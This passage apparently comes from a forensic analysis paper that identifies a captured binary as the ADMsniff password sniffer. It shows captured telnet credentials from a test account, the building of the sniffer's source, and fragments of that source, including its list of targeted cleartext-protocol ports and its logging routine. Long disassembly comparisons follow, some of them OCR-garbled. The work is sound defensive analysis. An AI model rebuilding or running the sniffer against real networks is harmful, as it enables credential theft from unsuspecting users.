The binary has put the interface in promiscuous mode, as we see when we run ifconfig again after we kill the program the PROMISC flag is no longer present.

jac@Gaze	lle[521]\$ ifconfig eth0
eth0	Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
	inet addr:10.18.2.35 Bcast:10.18.2.255 Mask:255.255.255.0
	(UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
	RX packets:10741 errors:0 dropped:0 overruns:0 frame:0
	TX packets:5439 errors:0 dropped:0 overruns:0 carrier:0
	collisions:1 txqueuelen:100
	RX bytes:1473494 (1.4 Mb) TX bytes:484154 (472.8 Kb)
	Interrupt:9 Base address:0x9000

# Forensic Details

Now that we have the program running, we shall examine the footprints it leaves behind. The first piece of evidence we have is the network interface being placed in promiscuous mode. A program such as ifstatus<sup>9</sup> can be used in many circumstances to alert administrators or security officers when a system's network interface has been changed to promiscuous mode unexpectedly.

Next, we shall examine the file that we noted above as being opened for writing. At this point in our examination, the file, The\_l0gz, is empty. Next, while running the target binary, we initiated a connection to the analysis system via ssh. The file remains 0 bytes. So, we enabled telnet and created a sacrificial account named fred with password flintstone. When we then connected to the system via telnet, we see that the file has increased in size. Apparently, the program looks for certain cleartext protocols to capture. Examining the contents of the file, we see that the username and password can be found in the log, as can the commands typed and the results returned. By taking a little time to study and understand how this program logs the sessions, harvesting username/password pairs (including possibly administrator/superuser passwords) is not too difficult. Our experiment thus far suggests that encrypting the traffic is a defense against this particular sniffer.

```
jac@Gazelle[523]$ cat The l0gz
--=[ 10.18.2.35:23 --> 10.18.2.86:53805 ]=--
release 7.2 (Enigma)..Kernel 2.4.17-emp 2417p2i on an i686..login:
fred..Password: ...]0;fred@Gazelle:~.Gazelle:fred:fred:1 $ w.. 3:49pm
up 3:45, 7 users, load average: 0.04, 0.02, 0.00..USER
                                            TTY
FROMLOGIN@ IDLEJCPUPCPUWHAT..jacpts/012:05pm3:44m0.00s0.00s/bin/cat.jacpts/1
                                             _
12:05pm 18.00s 0.18s 0.18s /bin/bash ..jac
pts/3
                12:05pm 0.00s 1.07s 1.03s slogin newmozart
..jac
pts/2
                 12:05pm 3:44m 0.04s 0.04s /bin/bash ..jac
                 12:05pm 3:44m 0.06s 0.06s /bin/bash ..jac
pts/4
pts/5
         12:05pm 28.00s 0.75s 0.01s script ..fred
                                          pts/7
newmozart
    3:49pm
               0.00s
                         0.05s
                                   0.01s
                                             W
...]0;fred@Gazelle:~.Gazelle:fred:fred:2 $ exit..logout...[H.[2J.
--=[ 10.18.2.86:53805 --> 10.18.2.35:23 ]=--
```

<sup>&</sup>lt;sup>9</sup> http://www.cymru.com/Tools/ifstatus-4.0.tar.gz

Let us briefly examine that IP address again. A quick check of ARIN reveals that this address range, 104.48.0.0/16, has not yet been assigned.

```
jac@Gazelle[531]$ whois -h whois.arin.net 104.48.0.0
[whois.arin.net]
OrgName:
           TANA
OrgID:
           IANA-2
NetRange: 96.0.0.0 - 126.255.255.255
CIDR: 96.0.0.0/4, 112.0.0.0/5, 120.0.0.0/6, 124.0.0.0/7, 126.0.0.0/8
NetName: RESERVED-8
NetHandle: NET-96-0-0-1
Parent:
NetType: Direct Assignment
Comment:
RegDate:
Updated: 1998-11-03
TechHandle: IANA-ARIN
TechName: Internet Corporation for Assigned Names and Number
TechPhone: +1-310-823-9358
TechEmail: res-ip@iana.org
```

This suggests a number of possibilities. One, that this was put in the binary as a distraction. The second possibility is that the binary was built on a network that was using address space that they did not own. Some of our customers have been known to use a similar plan to number the WAN, but things start to break down when IANA does start distributing the addresses, that previously only existed in our network, out into the cruel internet resulting in conflicts. The third possibility is that this is a red herring. Similarly, a search for port 25972 has yielded no useful data.

# **Program Identification**

Given the hints found in the strings output, we did a quick search on our favorite meta-search engine, Dogpile<sup>10</sup>, and discovered the source code for ADMsniff at <u>http://www.freelsd.net/ADM/ADMsniff.tar.gz</u>. We downloaded the archive onto our analysis machine and we will build it to see if we can tell if the binary we found has been altered.

```
jac@Gazelle[525]$ tar xzvf ADMsniff.tar.gz
ADMsniff/
ADMsniff/ip.h
ADMsniff/tcp.h
ADMsniff/bpf.h
ADMsniff/pcap.h
```

<sup>10</sup> http://www.dogpile.com

```
ADMsniff/Makefile
ADMsniff/libpcap-0.4.tar
ADMsniff/thesniff.c
ADMsniff/README
```

Examining the source file, thesniff.c, we note that there is a list of *cool* ports that probably explains why it took no note of our ssh connection earlier. It appears to only be looking for ftp, telnet, pop2, pop3, imap, the Berkeley r-commands, Oracle, and BackOrifice. All of these are protocols that (can) send passwords in the clear, or do not require a password at all.

```
u_short coolport[] = {21, 23, 109, 110, 143, 512, 513, 514, 1521, 31337};
```

Next, we shall actually compile the source that we have downloaded. We first run gcc -v to note the version of the compiler we are running (which conveniently appears to be the same version used on our target binary).

```
jac@Gazelle[526]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-98)
jac@Gazelle[527]$ cd ADMsniff
jac@Gazelle[528]$ make
.. ooOO ADMsniff private 1.0 beta 0 0000..
libpcap-0.4/CHANGES
libpcap-0.4/FILES
libpcap-0.4/INSTALL
libpcap-0.4/Makefile.in
libpcap-0.4/README
...
ar rc libpcap.a pcap-linux.o pcap.o inet.o gencode.o optimize.o
nametoaddr.o etherent.o savefile.o bpf filter.o bpf image.o scanner.o
grammar.o version.o
ranlib libpcap.a
make[1]: Leaving directory `/home/jac/giac/gcfa/source/ADMsniff/libpcap-
0.4'
compiling ADMsniff...
gcc -I. -L. thesniff.c -lpcap -lz -o ./ADMsniff-1
Done!
```

We have cut out some of the extraneous stuff above. Typing make caused source for libpcap to be untarred, configured, and built, ending with the creation of the libpcap.a library archive above. Then, thesniff.c was compiled and linked with libpcap.a and libz (we shall return to this briefly below) creating the binary named ADMsniff-1. We now examine the binary created to see if it matches our mystery binary.

```
jac@Gazelle[529]$ md5sum ADMsniff-1
07210c66577d70b2d604e6b48ee498dd ADMsniff-1
```

```
jac@Gazelle[530]$ ls -1 ADMsniff-1
-rwxrwxr-x 1 jac jac 37632 May 2 19:12 ADMsniff-1
jac@Gazelle[531]$ file ADMsniff-1
ADMsniff-1: ELF 32-bit LSB executable, Intel 80386, version 1,
dynamically linked (uses shared libs), not stripped
jac@Gazelle[531]$ ldd ADMsniff-1
libz.so.1 => /usr/lib/libz.so.1 (0x40032000)
libc.so.6 => /lib/libc.so.6 (0x40040000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x4000000)
```

We obviously made a mistake here, the binary we built is not statically linked, is much smaller, and does not match the MD5 hash of our target. We will edit the Makefile to have it build a statically linked binary and try again. To do this, we add -static to the CFLAGS line in the Makefile, then delete ADMsniff-1, and run make again. After doing this we see the following.

```
jac@Gazelle[517]$ ls -l ADMsniff-1
-rwxrwxr-x 1 jac jac 1729316 May 2 19:29 ADMsniff-1
jac@Gazelle[518]$ file ADMsniff-1
ADMsniff-1: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked, not stripped
```

We are closer, but the file is now too big and not stripped. We will take care of that next, but we will save this version of the executable, it will be useful in our analysis.

```
jac@Gazelle[523]$ cp ADMsniff-1 ADMsniff-1.save
jac@Gazelle[524]$ strip ADMsniff-1
jac@Gazelle[525]$ ls -1 ADMsniff-1
-rwxrwxr-x 1 jac jac 400924 May 2 19:38 ADMsniff-1
jac@Gazelle[526]$ file ADMsniff-1
ADMsniff-1: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked, stripped
jac@Gazelle[527]$ md5sum ADMsniff-1
b96d11ca7f3f0008e9708aa92a3ef155 ADMsniff-1
```

This binary is much closer in size, it is only 1900 bytes larger than our target binary. Since the sizes are different, obviously, the MD5 hashes will differ, but we include it here for completeness. Does this mean that we have the wrong source? Not necessarily. Clearly, we have not exactly duplicated the conditions under which the original binary was built, but the differences could simply be some of the other libraries that were statically linked into the final binary. We still have some additional analysis we can do. The original binary was stripped, either to reduce the size of the binary, hide information by removing the symbol table, or, perhaps, both. The information in the symbol table would be extremely useful to us if we could recreate it. Fortunately, we can restore at least part of it. During the Honeynet Project's Reverse Challenge<sup>11</sup> in May of 2002, there were several postings to various mailing lists that mentioned tools that might be of assistance to participants. One of those mentioned was a tool called fenris, available from

<sup>&</sup>lt;sup>11</sup> <u>http://projects.honeynet.org/reverse/</u>

Bindview<sup>12</sup>. Fenris is written and maintained by Michal Zalewski<sup>13</sup>, who has links to other similar tools on his own website<sup>14</sup>. Included with the fenris (we used version 0.03b which was current when we began this analysis, there have been several updates since then), is a utility called dress which is intended as the opposite of strip(1) that can restore at least part of the symbol table. This is accomplished by looking for library routines in a stripped binary, comparing hashes calculated from the object code with those in a database built from several versions of standard libraries and, based on matches, determining the name of the library routine. The package also includes instructions on adding new signatures to the database, so we added signatures from the libraries on our analysis system before taking the further steps below. In a previous life, we wrote commercial C compilers, so for determining functional equivalence, our first inclination is to disassemble and look at the generated code. To do that here, we are going to run dress on the target binary and then disassemble both it and the version of ADMsniff that we have compiled and saved above to see if where the differences lie. Our guess, at this point, is that that the differences in size (and signature) are due to our analysis system having different (probably newer) libraries than the machine on which our target binary was built.

```
jac@Gazelle[548]$ dress sn.dat sn.dat.dress
dress - stripped static binary recovery tool by <lcamtuf@coredump.cx>
[+] Loaded 59411 fingerprints...
[+] Code section at 0x080480e0 - 0x08090160, offset 224 in the file.
[*] For your initial breakpoint, use *0x80480e0
[+] Locating CALLS... 417 found.
[+] Matching fingerprints...
[*] Writing new ELF file:
[+] Cloning general ELF data...
[+] Setting up sections: .init .text .fini .rodata .data .eh frame .ctors
.dtors .got .sbss .bss .comment .note.ABI-tag .note
[+] Preparing new symbol tables...
[+] Copying all sections: .init .text .fini .rodata .data .eh frame
.ctors .dtors .got .sbss .bss .comment .note.ABI-tag .note
[+] All set. Detected fingerprints for 342 of 417 functions.
jac@Gazelle[549]$ objdump -xD sn.dat.dress > sn.dat.dress.objdump
jac@Gazelle[550]$ objdump -xD ADMsniff-1.save > ADMsniff-1.objdump
```

Examination of thesniff.c shows us that it contains the following routines: myinet\_ntoa, goodstr, flushstruct, dumpstruct, newstruct, Log, and main. If compiled with -DCOMPRESS, it will also have the routines hup\_handler and term\_handler. The target version, however, appears *not* to have been compiled with the COMPRESS flag, because if it had been, it would have printed two additional lines when it was executed (see below), so we will limit our examination to the seven routines listed above. This suggests that libz above is not actually linked in.

<sup>&</sup>lt;sup>12</sup> http://razor.bindview.com/tools/fenris/

<sup>&</sup>lt;sup>13</sup> lcamtuf@bos.bindview.com

<sup>&</sup>lt;sup>14</sup> http://lcamtuf.coredump.cx/fenris/other.txt

printf ("ADMsniff %s in libpcap we trust !\n", VERSION); printf ("credits: ADM, mel , ^pretty^ for the mail she sent me\n"); #ifdef COMPRESS printf ("You compiled ADMsniff with compression support, don't\n"); printf ("forget about the log flushing tricks (see README).\n\n"); #endif

The following comparison was actually performed using sdiff(1) on a 150 column xterm. That format, however, does not transfer to paper too well, so in the analysis that follows we will first show the source code from the archive we downloaded. Then we will show the disassembled object code. For the first (two) routine(s) we examine, we will show both versions (the disassembled object code for the unstripped binary we built above and then the equivalent section for the dressed version of the target binary) and thereafter we will show the excerpt only from our unstripped binary and highlight (and explain) any differences between it and the dressed version of the target binary. We chose the dressed version rather than the original to save ourselves the effort of running down some of the library routines if dress is able to determine which library routine it was. The only differences between the dressed and stripped versions for the routines in question are the names of the routines between the <>s. We have also gotten a great deal of useful information in other investigations using the Reverse Engineering Compiler from Backer Street Software<sup>15</sup>, but we will stick with examining the disassembled machine code for this examination.

Let us begin our examination with the myinet\_ntoa routine. We note that this is a very simple routine, and therefore generates relatively little object code. Unfortunately, some of the routines that we examine later will be larger and result in more generated code.

```
char *
myinet_ntoa (u_long theipofthedeath)
{
   struct in_addr in;
   in.s_addr = theipofthedeath;
   return (inet_ntoa (in));
}
```

Here we see the routine from the unstripped version we built earlier.

080481e0 <myi< td=""><td>.net ntoa&gt;:</td><td></td><td></td></myi<>	.net ntoa>:		
80481e0:	55	push	%ebp
80481e1:	89 e5	mov	%esp,%ebp
80481e3:	83 ec 08	sub	\$0x8,%esp
80481e6:	8b 45 08	mov	0x8(%ebp),%eax
80481e9:	89 45 fc	mov	%eax,0xfffffffc(%ebp)
80481ec:	83 ec 0c	sub	\$0xc,%esp

<sup>15</sup> http://www.backerstreet.com/rec/rec.htm

80481ef:	ff 75 fc	pushl 0xffffffc(%ebp)
80481f2:	e8 39 bb 00 00	call 8053d30 <inet ntoa=""></inet>
80481f7:	83 c4 10	add \$0x10,%esp
80481fa:	89 c0	mov %eax,%eax
80481fc:	89 c0	mov %eax,%eax
80481fe:	c9	leave 👝
80481ff:	c3	ret

Now, we	examine	the	same	routine	from	our	dressed	version	of	the	mystery	/
binary.												

80481e0:	55	push %ebp
80481e1:	89 e5	mov %esp,%ebp
80481e3:	83 ec 08	sub \$0x8,%esp
80481e6:	8b 45 08	mov 0x8(%ebp),%eax
80481e9:	89 45 fc	<pre>mov %eax,0xfffffffc(%ebp)</pre>
80481ec:	83 ec 0c	sub \$0xc,%esp
80481ef:	ff 75 fc	<pre>pushl 0xffffffc(%ebp)</pre>
80481f2:	e8 29 bb 00 00	call <b>8053d20</b> <socket+0x30></socket+0x30>
80481f7:	83 c4 10	add 🚫 \$0x10,%esp
80481fa:	89 c0	mov %eax,%eax
80481fc:	89 c0	mov %eax,%eax
80481fe:	с9	leave
80481ff:	c3	ret

We see, the only differences in the routines are the address of the call. So, we will examine this and see if those are, in fact, the same library call. Notice that dress could not determine the name of the library routine and came up with just socket+0x30. This is not necessarily significant. We also note that the addresses of the called routine differ between the two binaries by 0x10, this will turn out to be a recurring theme. Since the names do not match, we will examine the called library routine to see if they are, in fact, the same routine. In cases where dress determined the routine name to be the same, we will skip this step. Again, we first look at the unstripped binary that we built and then compare it with the dressed version.

08053d30 <inet_< td=""><td>_ntoa&gt;:</td><td></td></inet_<>	_ntoa>:	
8053d30:	55	push %ebp
8053d31:	b8 00 00 00 00 00	mov \$0x0,%eax
8053d36:	89 e5	mov %esp,%ebp
8053d38:	53	push %ebx
8053d39:	85 c0	test %eax,%eax
8053d3b:	51	push %ecx
8053d3c:	0f 84 ae 00 00 00	je 8053df0 <inet ntoa+0xc0=""></inet>
8053d42:	83 ec 08	sub \$0x8,%esp
8053d45:	68 14 3e 05 08	push <i>\$0x8053e14</i>
8053d4a:	68 78 6f 0a 08	push <b>\$0x80a6f78</b>
8053d4f:	e8 ac c2 fa f7	call 0 < init-0x80480b4>
8053d54:	83 c4 10	add \$0x10,%esp
8053d57:	al 94 6f 0a 08	mov <b>0x80a6f94</b> ,%eax
8053d5c:	85 c0	test %eax,%eax
8053d5e:	74 30	je 8053d90 <inet_ntoa+0x60></inet_ntoa+0x60>

8053d60:	89	сЗ						mov	%eax,%ebx
8053d62:	50							push	%eax
8053d63:	0f	b6	45	0b				movzbl	0xb(%ebp),%eax
8053d67:	50							push	%eax
8053d68:	0f	b6	45	0a				movzbl	0xa(%ebp),%eax
8053d6c:	50							push	%eax
8053d6d:		b6	45	09				1	0x9(%ebp),%eax
8053d71:	50							push	%eax
8053d72:		b6	45	0.8				-	0x8(%ebp),%eax
8053d76:	50	200	10	00				push	%eax
8053d77:		28	05	0a	08			push	\$0x80a0528
8053d7c:	6a		05	va	00			push	\$0x12
8053d7e:	53	12						push	%ebx
8053d7e:		E /	07	01	00			call	
				ΟI	00				806d4d8 <snprintf></snprintf>
8053d84:		c4	20					add	\$0x20,%esp
8053d87:	89		c					mov	%ebx,%eax
8053d89:		5d	IC					mov	0xfffffffc(%ebp),%ebx
8053d8c:	c9							leave	
8053d8d:	c3							ret	
8053d8e:	89							mov	%esi,%esi
8053d90:			00	00	00			mov	\$0x0,%eax
8053d95:	85							test	%eax,%eax
8053d97:	74							je	8053dec <inet_ntoa+0xbc></inet_ntoa+0xbc>
8053d99:		ес						sub	\$0xc,%esp
8053d9c:				6f		08		pushl	0x80a6f7c
8053da2:	e8	59	c2	fa	f7			call	0 <_init-0x80480b4>
8053da7:	83	c4	10					add	\$0x10,%esp
8053daa:	89							mov	%eax,%ebx
8053dac:	85							test	%ebx,%ebx
8053dae:	75	b2						jne	8053d62 <inet_ntoa+0x32></inet_ntoa+0x32>
8053db0:	83	ес	0c					sub	\$0xc,%esp
8053db3:	6a							push	\$0x12
8053db5:	e8	са	b4	ff	ff			call	804f284 <libc_malloc></libc_malloc>
8053dba:	89	сЗ						mov	<pre>%eax,%ebx</pre>
8053dbc:	83	c4	10					add	\$0x10,%esp
8053dbf:	85	db						test	%ebx,%ebx
8053dc1:	74	1d						je	8053de0 <inet ntoa+0xb0=""></inet>
8053dc3:	b8	00	00	00	00			mov	\$0x0,%eax
8053dc8:	85	c0						test	%eax, %eax
8053dca:		96						je	8053d62 <inet ntoa+0x32=""></inet>
8053dcc:		ec	08					sub	\$0x8,%esp
8053dcf:	53							push	%ebx
8053dd0:		35	7c	6f	0a	08		pushl	0x80a6f7c
8053dd6:				fa		-		call	0 < init-0x80480b4>
8053ddb:		c4						add	\$0x10,%esp
8053dde:	eb							jmp	8053d62 <inet ntoa+0x32=""></inet>
8053de0:			6f	0a	08			mov	\$0x80a6f80, %ebx
8053de5:				ff				jmp	8053d62 <inet ntoa+0x32=""></inet>
8053dea:	89							mov	%esi,%esi
8053dec:	31							xor	%ebx,%ebx
8053dee:	eb							jmp	8053dac <inet ntoa+0x7c=""></inet>
8053df0:			78	6f	0=	0.8		mov	<b>0x80a6f78</b> , %edx
8053df6:	85		, 0	ΟT	va	00		test	%edx,%edx
8053df8:			59	ff	ff	ff		jne	8053d57 <inet ntoa+0x27=""></inet>
8053dfe:				00		т т		call	8053e14 <init></init>
8053e03:				00 6f		ΛR	01	movl	\$0x1,0x80a6f78
8053e0a:		00		υL	va	00	ΟT	IIIO V L	YVAL, VAUVAUL / U

8053e0d:	e9 45 ff ff ff	jmp 8053d57 <inet_ntoa+0x27></inet_ntoa+0x27>
8053e12:	89 f6	mov %esi,%esi

The address of the routine differs between the two files by 0x10 (16 decimal). This is important because the addresses in all of the jmp and call instructions differ by the same amount except for the call to snprintf, but dress has determined that those routines are the same, so we will not pursue that any further other than to note that the addresses of the snprintf routines differ by 0x60 (96 decimal). Also, we note the pushl instruction at the beginning of the routine where we have italicized the address. That address is the address of the next routine (identified as init in our unstripped binary) and this address also differs between the two by 0x10. Next, note the address in italics at offset 0x8053d77 (0x80a0528). The corresponding address from the target binary is 0x809fe48, which is an argument passed to the snprintf call just below. These addresses are in the initialized portion of memory and in both cases the address pointed to contains the data 0x25642e25. Since the values are identical, we conclude that they are pointing to the same initialized variables, we conclude that they are pointing to the same format strings. We will see this pattern repeated with all of the snprintf calls. That leaves those addresses highlighted in bold in the listing above. The highlighted addresses differ between the two versions by 0x06c0 (1728 decimal). These addresses are the addresses of memory locations used for local variables in this routine. The addresses are consistent between the two executables. That is, everywhere that 0x80a6f78, for example, appears in the unstripped binary, 0x80a68b8 appears in the dressed binary (see the table below, rather than waste two pages to reproduce the entire routine again, we will just show the address from the unstripped binary we built and the corresponding address from the dressed version of the target binary). Since this is all uninitialized memory, we again assume that the differences are related to different version of other library routines between our analysis system and the one where the target binary was built. We therefore conclude that the routine called by myinet ntoa is the same library routine (inet ntoa) in both versions.

Address from our binary	Address from target binary
0x80a6f78	0x80a68b8
0x80a6f94	0x80a68d4
0x80a6f7c	0x80a68bc
0x80a6f80	0x80a68c0

Next, we examine the routine goodstr.

```
void
goodstr (char *src, char *dst, int size)
{
    int i;
    for (i = 0; i < size; i++)
    if (isprint (src[i]))
        dst[i] = src[i];
```

```
else if (dst[i] == '\r' || dst[i] == '\n')
        dst[i] = '\n';
else
        dst[i] = '.';
}
```

The corresponding code from our unstripped binary is shown below.

08048200 <good< th=""><th>st x&gt;.</th><th></th></good<>	st x>.	
8048200 < good	55	nuch <sup>e</sup> chn
		push %ebp
8048201:	89 e5	mov %esp,%ebp
8048203:	83 ec 04	sub \$0x4,%esp
8048206:	90	nop
8048207:	c7 45 fc 00 00 00 00	<pre>movl \$0x0,0xfffffffc(%ebp)</pre>
804820e:	89 f6	mov %esi,%esi
8048210:	8b 45 fc	<pre>mov 0xffffffc(%ebp),%eax</pre>
8048213:	3b 45 10	cmp 0x10(%ebp),%eax
8048216:	7c 04	jl 804821c <goodstr+0x1c></goodstr+0x1c>
8048218:	eb 6a	jmp8048284 <goodstr+0x84></goodstr+0x84>
804821a:	89 f6	mov 💦 %esi
804821c:	8b 45 fc	<pre>mov 0xffffffc(%ebp),%eax</pre>
804821f:	03 45 08	add 0x8(%ebp),%eax
8048222:	0f be 00	movsbl (%eax), %eax
8048225:	6b d0 02	imul \$0x2,%eax,%edx
8048228:	al c0 44 0a 08 🛛 🔍	mov 0x80a44c0,%eax
804822d:	66 8b 04 10	mov (%eax,%edx,1),%ax
8048231:	25 00 40 00 00	and \$0x4000,%eax
8048236:	66 85 c0	test %ax,%ax
8048239:	74 15	je 8048250 <goodstr+0x50></goodstr+0x50>
804823b:	8b 45 fc	<pre>mov 0xffffffc(%ebp),%eax</pre>
804823e:	8b 55 0c	mov 0xc(%ebp),%edx
8048241:	01 c2	add %eax,%edx
8048243:	8b 45 fc	<pre>mov 0xffffffc(%ebp),%eax</pre>
8048246:	03 45 08	add 0x8(%ebp),%eax
8048249:	8a 00	mov (%eax),%al
804824b:	88 02	mov %al,(%edx)
804824d:	eb 2e	jmp 804827d <goodstr+0x7d></goodstr+0x7d>
804824f:	90	nop
8048250:	8b 45 fc	mov 0xfffffffc(%ebp),%eax
8048253:	03 45 Oc	add 0xc(%ebp),%eax
8048256:	80 38 0d	cmpb \$0xd, (%eax)
8048259:	74 0d	je 8048268 <goodstr+0x68></goodstr+0x68>
804825b:	8b 45 fc	<pre>mov 0xfffffffc(%ebp),%eax</pre>
804825e:	03 45 0c	add 0xc(%ebp),%eax
8048261:	80 38 0a	cmpb \$0xa, (%eax)
8048264:	74 02	je 8048268 <goodstr+0x68></goodstr+0x68>
8048266:	eb Oc	jmp 8048274 <goodstr+0x74></goodstr+0x74>
8048268:	8b 45 fc	mov 0xffffffc(%ebp),%eax
804826b:	03 45 0c	add 0xc(%ebp),%eax
804826e:	c6 00 0a	movb \$0xa, (%eax)
8048271:	eb 0a	jmp 804827d <goodstr+0x7d></goodstr+0x7d>
8048273:	90	nop
8048274:	8b 45 fc	mov Oxfffffffc(%ebp),%eax
8048277:	03 45 0c	add 0xc (%ebp), %eax
804827a:	c6 00 2e	movb \$0x2e, (%eax)
804827d:	8d 45 fc	lea 0xffffffc(%ebp),%eax
0010270.	04 10 TC	TOU OWITITITIO ( OCDP/ / OCUA

8048280:	ff 00	incl (%eax)
8048282:	eb 8c	jmp 8048210 <goodstr+0x10></goodstr+0x10>
8048284:	с9	leave
8048285:	c3	ret
8048286:	89 f6	mov %esi,%esi

This routine is actually identical between the two (the jump target addresses are the same, though the labels within the <>s are different), so we will not waste anymore time analyzing this routine. Next, we move to flushstruct.

```
Int flushstruct (int i, char add)
  if (add != 1)
    if (theipz[i]->flags != NOLOG)
      if ((theipz[i]->time + 7000) > time (NULL))
        if (strlen (theipz[i]->data) > 4011)
          {
              fprintf (filez, "n-=[ %s:%i --> ", myinet ntoa (theipz[i]->sip),
ntohs (theipz[i]->sport));
              fprintf (filez, "%s:%i ]=--\n", myinet ntoa (theipz[i]->dip),
ntohs(theipz[i]->dport));
                  fwrite (theipz[i]->data, strlen (theipz[i]->data), 1, filez);
                  fflush(filez);
            theipz[i]->flags = NOLOG;
            return (0);
          }
  if ((theipz[i]->time + 7000) < time (NULL) || add == 1)
    {
      if (theipz[i]->flags != NOLOG)
          fprintf (filez, "\n--=[ %s:%i --> ", myinet ntoa (theipz[i]->sip),
ntohs (theipz[i]->sport));
          fprintf (filez, "%s:%i ]=--\n", myinet ntoa (theipz[i]->dip), ntohs
(theipz[i]->dport));
          fwrite (theipz[i]->data, strlen (theipz[i]->data), 1, filez);
          fprintf (filez, ".\n");
          fflush(filez);
          theipz[i]->flags = NOLOG;
        }
      free (theipz[i]);
      theipz[i] = NULL;
      return (0);
    }
  return (0);
```

We have taken a few liberties in the presentation of the code above. We have removed the #ifndef's and only included the code that was actually compiled into our version of the binary since we did not enable compression. We have also eliminated some blank lines to get it all to fit together in less space. The code generated for this routine is shown below.

```
08048288 <flushstruct>:
```

8048288:	55							nuch	%ebp
8048289:		e5						push mov	%esp,%ebp
		еJ							
804828b:	53		0.4					push	%ebx
804828c:		ec						sub	\$0x4,%esp
804828f:		45						mov	0xc(%ebp),%eax
8048292:		45	-	0.4				mov	%al,0xffffffb(%ebp)
8048295:		7d			~ ~	~ ~		cmpb	\$0x1,0xffffffb(%ebp)
8048299:				01	00	00		je	8048474 <flushstruct+0x1ec></flushstruct+0x1ec>
804829f:		45	08					mov	0x8(%ebp),%eax
80482a2:		с0						mov	%eax,%eax
80482a4:				00		00	00	lea	0x0(,%eax,4),%edx
				0a	08			mov	<b>\$0x80a7700,</b> %eax
80482b0:		04						mov	(%edx,%eax,1),%eax
80482b3:	80	b8	с0	0f	00	00	03	cmpb	\$0x3,0xfc0(%eax)
80482ba:				01	00	00		je	8048474 <flushstruct+0x1ec></flushstruct+0x1ec>
80482c0:	8b	45	80					mov	0x8(%ebp),%eax
80482c3:	89							mov	<pre>%eax, %eax</pre>
80482c5:	8d	14	85	00	00	00	00	lea	0x0(,%eax,4),%edx
80482cc:	b8	00	77	0a	08			mov	\$0x80a7700,%eax
80482d1:	8b	04	02					mov	(%edx,%eax,1),%eax
80482d4:	8b	58	0c					mov	0xc(%eax),%ebx
80482d7:	81	сЗ	58	1b	00	00		add	\$0x1b58,%ebx
80482dd:	83	ес	0c					sub	\$0xc,%esp
80482e0:	6a	00						push	\$0x0
80482e2:	e8	59	b3	00	00			call	8053640 <time></time>
80482e7:	83	с4	10					add	\$0x10,%esp
80482ea:	89	сО						mov	%eax,%eax
80482ec:	39	сЗ						cmp	%eax,%ebx
80482ee:	0f	86	80	01	00	00		jbe	8048474 <flushstruct+0x1ec></flushstruct+0x1ec>
80482f4:	8b	45	08					mov	0x8(%ebp),%eax
80482f7:	89	сО						mov	%eax,%eax
80482f9:	8d	14	85	00	00	00	00	lea	0x0(,%eax,4),%edx
8048300:	b8	00	77	0a	08			mov	<b>\$0x80a7700,</b> %eax
8048305:	8b	04	02					mov	(%edx,%eax,1),%eax
8048308:	83	сО	10					add	\$0x10,%eax
804830b:	83	ec	0c					sub	\$0xc,%esp
804830e:	50							push	%eax
804830f:	e8	48	ad	00	00			call	805305c <strlen></strlen>
8048314:	83	c4	10					add	\$0x10,%esp
8048317:	89	c0						mov	%eax, %eax
8048319:	89	с0						mov	%eax,%eax
804831b:	3d	ab	0f	00	00			cmp	\$0xfab,%eax
8048320:	0f	86	4e	01	00	00		jbe	8048474 <flushstruct+0x1ec></flushstruct+0x1ec>
8048326:	8b	45	08					mov	0x8(%ebp),%eax
8048329:	89							mov	%eax,%eax
804832b:			85	00	00	00	00	lea	0x0(,%eax,4),%edx
				0a				mov	\$0x80a7700, %eax
8048337:		04						mov	(%edx,%eax,1),%eax
804833a:	0f	b7	40	08				movzwl	0x8(%eax),%eax
804833e:		ec						sub	\$0xc,%esp
8048341:	50							push	%eax
8048342:		d9	b9	00	00			call	8053d20 <htons></htons>
8048347:		c4						add	\$0x10,%esp
804834a:		с0						mov	seax, seax
804834c:		с0						mov	%eax,%eax
804834e:		b7	с0						%ax,%eax
8048351:	50		-					push	%eax
	00							Publi	, Call

8048352:         83 ec 08         sub \$0x3, kesp           8048358:         89 c0         mov \$xex, kesx           8048358:         89 c0         mov \$xex, kesx           8048358:         80 c0         nov \$xex, kesx           8048358:         80 c0         nov \$xex, kesx           8048361:         b0 00 77 0a 08         mov \$xex, kesx           8048366:         b0 00 77 0a 08         mov \$xex, kesx           8048366:         b0 00 77 0a 08         mov \$xex, kesx           8048366:         b0 40 02         mov \$xex, kesx           8048376:         c3 c0 0         push kesx           8048375:         50 0         push kesx           8048376:         68 80 08 09 08         push \$xex           8048376:         68 40 00 00         call 804374           8048381:         c8 12 24 00 00         call 804374           8048382:         80 40 00         mov \$xex, keax           8048382:         80 40 02         mov \$xex, keax           8048382:         80 40 02         mov \$xex, keax           8048384:         80 40 02         mov \$xex, keax           8048384:         80 40 02         mov \$xex, keax           8048384:         80 40 00         movxul \$xex, keax </th <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>									
8048358:       80 40       80 00 00 00       nov       %eax,%eax         8048356:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048366:       b7 0a 08       mov       (%edx,%eax,1),%eax         8048366:       ff 30       mov       (%edx,%eax,1),%eax         8048366:       ff 30       mov       %eax,%eax         8048370:       83 c4 0c       call       3044180 <mpinet_ntoa>         8048375:       50       mov       %eax,%eax         8048375:       50       mov       %eax,%eax         8048376:       68 80 08 09 08       push 1 %x60a5564         8048376:       68 80 c4 00 00       call       304a7ad <fprintf>         8048381:       e8 1e 24 00 00       call       304a7ad <fprintf>         8048381:       e8 1e 24 00 00       mov       %eax,%eax         8048391:</fprintf></fprintf></mpinet_ntoa>	8048352:	83 e	ec 08					sub	\$0x8,%esp
